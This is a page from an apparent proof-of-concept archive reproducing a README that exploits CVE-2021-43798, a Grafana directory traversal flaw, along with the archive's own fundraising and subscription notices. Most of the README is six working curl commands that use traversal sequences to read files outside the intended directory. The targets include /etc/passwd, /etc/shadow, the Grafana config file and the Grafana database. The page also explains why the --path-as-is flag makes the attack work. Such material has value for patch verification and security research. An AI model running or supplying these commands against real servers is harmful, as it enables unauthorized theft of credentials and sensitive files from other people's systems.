Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2021-43798 PoC — Grafana path traversal

Source
Associated Vulnerability
Title:Grafana path traversal (CVE-2021-43798)
Description:Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
Readme
# Grafana CVE-2021-43798 Exploit

## Overview

This repository demonstrates the exploitation of CVE-2021-43798, a directory traversal vulnerability in Grafana. This vulnerability allows attackers to read arbitrary files on the server.

## CVE Details

- **CVE**: CVE-2021-43798
- **Description**: Directory traversal vulnerability in Grafana versions prior to 8.3.1.
- **Impact**: Allows unauthenticated attackers to read arbitrary files on the server.

## Prerequisites

- A vulnerable version of Grafana running (before 8.3.1)
- Access to the target Grafana instance

## Exploitation

### Using curl

To exploit the vulnerability manually, you can use one of the following `curl` commands to attempt to read sensitive files:

```sh
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"
```

## Why --path-as-is?
 In the context of exploiting the Grafana CVE-2021-43798 directory traversal vulnerability, the --path-as-is option is essential because it allows the specially crafted traversal sequences (../../../../../) to be sent directly to the server without modification. This can lead to accessing sensitive files on the server that are outside the intended directory.

Without --path-as-is, curl might normalize the path to something like /public/plugins/Users/install.txt, which would not exploit the vulnerability. By using --path-as-is, the exact traversal sequence is preserved, allowing the exploit to succeed.

### Documentation Reference

You can find more details about the --path-as-is option in the curl documentation. By understanding and utilizing --path-as-is, security professionals and researchers can effectively demonstrate and test for directory traversal vulnerabilities in web applications.

### Mitigation

To mitigate this vulnerability, upgrade Grafana to version 8.3.1 or later.

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →